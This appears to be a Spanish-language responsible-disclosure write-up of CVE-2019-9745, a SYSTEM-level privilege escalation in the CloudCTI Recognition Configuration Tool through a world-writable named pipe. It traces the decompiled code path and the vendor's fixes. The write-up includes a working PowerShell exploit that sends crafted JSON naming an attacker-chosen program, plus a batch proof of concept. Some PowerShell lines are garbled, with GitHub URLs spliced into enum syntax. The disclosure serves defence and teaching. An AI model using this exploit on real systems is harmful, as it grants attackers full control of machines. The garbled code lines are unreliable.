kpn-ciso/cve-2019-9745Análisis de la vulnerabilidad CVE-2019-9745.
La creatividad está en el núcleo de las pruebas de penetración, lo que mantiene nuestro trabajo interesante. Sin embargo, un escollo es la tendencia a 'sobreingeniería' de escenarios de ataque y centrarse únicamente en bugs (condiciones de error). Los fallos (comportamiento no intencionado) pueden estar presentes con resultados igualmente devastadores. Este artículo proporciona un caso de estudio para demostrar la importancia de las pruebas de penetración para tales fallos. Simultáneamente, aboga por el empleo de un proceso SDLC (Ciclo de Vida de Desarrollo Seguro).
Este artículo es parte de la RD (divulgación responsable) de la vulnerabilidad CVE-2019-9745 y ha sido escrito en estrecha cooperación con el proveedor CloudCTI. Proporciona una visión general de alto nivel de la vulnerabilidad antes de profundizar en los detalles técnicos. Después de demostrar la explotación de la vulnerabilidad, se presenta una conclusión con lecciones aprendidas.
La Herramienta de Configuración de Reconocimiento CloudCTI que examinamos durante una de nuestras pruebas de penetración se utiliza para recuperar información del software CRM (Gestión de Relaciones con Clientes). Esto proporciona al personal del centro de llamadas información relevante durante las llamadas de los clientes. Se identificaron varios problemas que pueden encadenarse para comprometer completamente el sistema local. El proveedor desea enfatizar que esto no afecta a los sistemas de otros clientes ni a los suyos propios.
Como ocurre con muchas vulnerabilidades de seguridad, un problema importante radica en validar datos que se originan fuera de su esfera de influencia. Igualmente importante es la comprensión de que los sistemas y el software operan en entornos hostiles. El tiempo y la experiencia nos han enseñado que la interceptación es una amenaza en internet. Sin embargo, lo mismo es cierto para otros canales de comunicación, incluso dentro del propio sistema. Esto fue fundamental para descubrir la vulnerabilidad.
Un análisis de causa raíz de los problemas encontrados muestra la importancia de prácticas como TM (modelado de amenazas). TM ayuda a identificar riesgos en las primeras etapas del diseño y desarrollo. Esto puede llevar a la mitigación de riesgos inaceptables o a rediseño/reimplementación. Aunque se anima al lector a realizar su propio análisis, se proporcionan descripciones de las contramedidas del proveedor como referencia.
El software del proveedor consta de cuatro aplicaciones que trabajan juntas. La primera aplicación es la interfaz gráfica de usuario (GUI). Esto permite al usuario iniciar la recuperación de información de varios paquetes de software CRM:
La GUI delega la recuperación de información a un servicio (la segunda aplicación) enviando un mensaje. Los primeros problemas de seguridad se manifiestan aquí: no solo cualquier persona en el sistema puede observar los mensajes entre la GUI y el servicio para determinar su formato y contenido (afectando la confidencialidad), también pueden enviar sus propios mensajes (afectando la autorización). Además, la fuente de los mensajes al servicio no se verifica (afectando la no repudio). En la terminología de modelado de amenazas STRIDE, esto significa que el sistema es propenso a la divulgación de información y a la manipulación. De hecho, la información obtenida de estos mensajes fue fundamental para descubrir la vulnerabilidad.
La tercera aplicación es uno de los muchos importadores especializados. El servicio descarga la recuperación de información para un paquete CRM específico a un importador específico. El mensaje enviado por la GUI contiene instrucciones específicas para este importador. Al observar el importador CRM Exquise, resulta que la recuperación de información se delega aún más a una aplicación externa (cuarta). Examinando la lógica interna del importador, se descubrió que la aplicación externa podía especificarse en el mensaje entre la GUI y el servicio. El problema que se manifiesta aquí es que la aplicación externa se ejecuta sin verificar su identidad (afectando la no repudio).
Encadenando estos problemas, pudimos interceptar mensajes para determinar su formato y enviar un mensaje en el que especificamos nuestra propia aplicación externa maliciosa. Esa aplicación externa se ejecuta con los mismos privilegios que el importador/servicio. Como estos privilegios son los más altos posibles dentro del sistema, se logra el control total y el sistema queda comprometido.
Estos problemas son mitigados por el proveedor mediante el cifrado de los mensajes (mitigando el problema de confidencialidad) mediante el uso de secretos compartidos únicos (mitigando el problema de autorización) a los que solo pueden acceder los usuarios del sistema autenticados que los poseen (mitigando el primer problema de no repudio). Finalmente, la aplicación externa está firmada criptográficamente (mitigando el segundo problema de no repudio). La combinación de estas medidas mitiga con éxito la vulnerabilidad.
Cuando se instala la aplicación GUI de la Herramienta de Configuración de Reconocimiento CloudCTI (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe), se examina con Process Explorer. Esto revela que un servicio complementario (Recognition Update Client Service) está instalado y se ejecuta con derechos NT AUTHORITY\SYSTEM:
Al investigar el ejecutable del servicio (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) se hace evidente que está desarrollado utilizando el lenguaje de programación .NET. Esto se puede descompilar usando dnSpy para obtener información sobre su lógica interna, que se detallará a continuación.
RUCS2017Service (el espacio de nombres interno de .NET en el ejecutable del servicio) resulta ser un envoltorio delgado alrededor del espacio de nombres RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Esto define un servidor de tubería con nombre llamado RUCS20151029 en RUCS2017.dll:RUCS2017.TRUCS2017:902:
Ese servidor de tubería con nombre se inicia en RUCS2017.dll:RUCS2017.TRUCS2017:833:
El siguiente one-liner de Powershell se utiliza para confirmar que esta tubería está efectivamente activa en el sistema:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
Usando [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) se examinan los derechos de acceso de la tubería. A través de esto se descubre que la tubería puede ser leída (*R*) y escrita (*W*) por cualquier usuario del sistema (*Everyone*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
Cuando se usa la funcionalidad Add application en la GUI (ver Figura 01), se observa el siguiente tráfico no cifrado en la tubería con nombre usando IO Ninja:
Esto contiene los siguientes datos JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
El procesamiento de mensajes en la tubería se basa en [eventos](https://docs.microsoft.com/en-us/dotnet/standard/events/) y se suscribe en el constructor del servicio en *RUCS2017.dll:RUCS2017.TRUCS2017:803*:
**<div style="text-align: right">Figura 06</div>**
En esta función, el JSON se deserializa primero en *RUCS2017.dll:RUCS2017.TRUCS2017:267*:
**<div style="text-align: right">Figura 07</div>**
La lógica específica para procesar la estructura de mensaje JSON *WizardGetData* se puede encontrar en *RUCS2017.dll:RUCS2017.TRUCS2017:315* bajo el caso de enumeración *TFerbCommandType.WizardGetData*:
**<div style="text-align: right">Figura 08</div>**
Un administrador de tareas inicia entonces un nuevo hilo en *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* pasando la estructura de mensaje analizada:
**<div style="text-align: right">Figura 09</div>**
El *DatasourceType* (para un paquete CRM específico) se carga dinámicamente en *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:
**<div style="text-align: right">Figura 10</div>**
Que carga el archivo *.dll* definido en *json.conf:17*:
**<div style="text-align: right">Figura 11</div>**
El procesamiento adicional del mensaje se delega entonces al plugin *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* en *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Figura 10*).
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* se deriva de *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). Este a su vez se deriva de *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). Encontramos la implementación del método *GetData* en *CloudCTI.Datasources.RUS2015.DatasourceBase:133* que llama a *initializeDatasource* en *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:
**<div style="text-align: right">Figura 12</div>**
Esto a su vez llama a *DatasourceInitialize* en *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:
**<div style="text-align: right">Figura 13</div>**
Primero, el mensaje JSON se analiza en *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:
**<div style="text-align: right">Figura 14</div>**
La estructura de este mensaje se define en la clase *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. Esta clase también contiene la propiedad *ExporterApplication* que es de gran interés para nosotros:
**<div style="text-align: right">Figura 15</div>**
En *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (ver *figura 14*) se verifica si *ExporterApplication* está establecido en el mensaje. Si este no es el caso, se utiliza una aplicación predeterminada; de lo contrario, se utiliza la aplicación externa del mensaje. <span style='color:red'>**Aquí es donde se manifiesta la vulnerabilidad**</span>. En *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (ver *Figura 14*) se llama al método *createExportFile* que inicia la aplicación externa previamente determinada (línea *73*):
**<div style="text-align: right">Figura 16</div>**
# El exploit #
Dado que el proceso del servicio (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) se ejecuta con derechos *NT AUTHORITY\SYSTEM*, tiene acceso a **todas** las facetas del sistema, que ahora también tenemos a través de la propiedad *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. Cuando esto se incorpora al mensaje, el siguiente modelo JSON es el resultado:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
Mediante prueba y error resulta que la ExporterApplication puede ser un script batch que no requiere descargar recursos adicionales y puede colocarse en un directorio (de usuario) que está bajo el control de un usuario con privilegios bajos (o inferiores). Como todos los usuarios pueden escribir en la tubería con nombre RUCS20151029, se utiliza el siguiente script PowerShell para enviar JSON manipulado a la tubería con nombre:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
El siguiente script batch se especifica en el mensaje JSON como la aplicación externa (*ExporterApplication*). Como prueba de concepto, el nombre del usuario que lo ejecuta se escribe en un archivo. Por supuesto, esto se puede reemplazar con cualquier comando (secuencia).
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
Cuando el mensaje es enviado por un usuario normal (con pocos privilegios) (usando CVE-2019-9745.ps1) podemos ver que CVE-2019-9745.bat se ejecuta con privilegios elevados (NT Authority\SYSTEM):
Desde una perspectiva de pruebas de penetración, probar fallos en la lógica (de negocio) de un sistema puede requerir una inversión de tiempo significativa. Debido a que la mayoría de las pruebas de penetración son pruebas de caja negra (a diferencia de las pruebas de caja blanca), esto generalmente implica ingeniería inversa. Sin embargo, como se ha demostrado, los fallos pueden ser igual de devastadores que los errores. Por esta razón, se recomienda encarecidamente un enfoque de dos frentes que pruebe tanto errores como fallos.
Desde el punto de vista de un proveedor, es importante no solo preguntarse '¿cómo pueden usarse nuestros productos?' sino también '¿cómo se puede abusar de ellos?'. El SDLC (Ciclo de Vida de Desarrollo Seguro) puede ayudar con la gestión de riesgos durante las distintas etapas del ciclo de vida de un producto: los requisitos de seguridad, la arquitectura y un modelo de amenazas ayudan en la fase de diseño de alto y bajo nivel. El análisis de código estático/dinámico y la revisión por pares ayudan en el proceso de desarrollo. Finalmente, las pruebas de penetración proporcionan una auditoría (independiente). Por supuesto, los resultados de estos procesos deben sopesarse frente al apetito de riesgo. Desde una perspectiva financiera, varios estudios (El caso de negocio para la seguridad en el SDLC) han concluido que abordar los defectos (de seguridad) en las etapas tempranas del ciclo de vida de un producto es más rentable que la remediación. Esto significa que invertir en SDLC puede reducir el TCO (Costo Total de Propiedad) a largo plazo.
Uniendo ambas perspectivas, es importante seguir invirtiendo en concienciación sobre seguridad en todos los frentes mediante capacitación y educación. Esto asegura que todas las partes estén actualizadas tanto en las oportunidades como en los riesgos de seguridad en el dominio de TI, que evolucionan rápidamente. De esta manera, todos podemos contribuir a una sociedad más segura.
La puntuación CVSS que asignamos a esta vulnerabilidad es 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).